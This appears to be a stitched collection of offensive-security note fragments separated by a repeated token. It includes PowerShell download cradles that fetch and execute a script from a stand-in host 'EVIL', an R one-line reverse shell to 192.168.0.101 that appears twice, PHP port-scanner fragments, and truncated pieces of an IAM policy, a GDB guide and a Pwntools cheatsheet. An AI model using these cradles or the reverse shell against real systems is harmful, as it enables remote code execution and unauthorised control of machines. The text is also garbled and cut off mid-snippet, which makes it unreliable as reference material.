hotplugin0x01

# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object

hotplugin0x01

#!/usr/bin/env python3

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
    print("""
Usage: {} <port_number> <url>
    """.format(sys.argv[0]))
    sys.exit()

hotplugin0x01

{
    "APIGatewayServiceRolePolicy": {
        "Arn": "arn:aws:iam::aws:policy/aws-service-role/APIGatewayServiceRolePolicy",
        "AttachmentCount": 0,
        "CreateDate": "2019-10-22T18:22:01+00:00",
        "DefaultVersionId": "v6",
        "Document": {
            "Statement": [
                {

hotplugin0x01

<?php

ini_set('max_execution_time', 0);

ini_set('memory_limit', -1);

$host = '172.17.0.1';

$ports = array(21, 22, 80, 443, 445, 3306, 8080);

hotplugin0x01

c<-socketConnection(host="192.168.0.101",8999,blocking=TRUE,timeout=1000000);while(TRUE){writeLines(readLines(pipe(readLines(c,1))),c)}

hotplugin0x01

GDB commands by function - simple guide
---------------------------------------
More important commands have a (*) by them.

Startup 
% gdb -help         	print startup help, show switches
*% gdb object      	normal debug 
*% gdb object core 	core debug (must specify core file)
%% gdb object pid  	attach to running process
% gdb        		use file command to load object 

hotplugin0x01

Understanding the Memory Layout of Linux Executables

Required tools for playing around with memory:

• hexdump
• objdump
• readelf
• xxd
• gcore

hotplugin0x01

Pwntools Cheatsheet

1. Program Interaction
2. Environment and Contexts
3. Logging and Output
4. Encoding, Packing and Utility
5. Assembly and Shellcraft
6. ELFs, Strings and Symbols
7. Return Oriented Programming
8. SROP and Sigreturn Frames

hotplugin0x01

<?php
ini_set('max_execution_time', 0);
ini_set('memory_limit', -1);

$host = 'google.com';
$ports = array(21, 25, 80, 81, 110, 143, 443, 587, 2525, 3306);

foreach ($ports as $port)
{
    $connection = @fsockopen($host, $port, $errno, $errstr, 2);

hotplugin0x01

c<-socketConnection(host="192.168.0.101",8999,blocking=TRUE,timeout=1000000);while(TRUE){writeLines(readLines(pipe(readLines(c,1))),c)}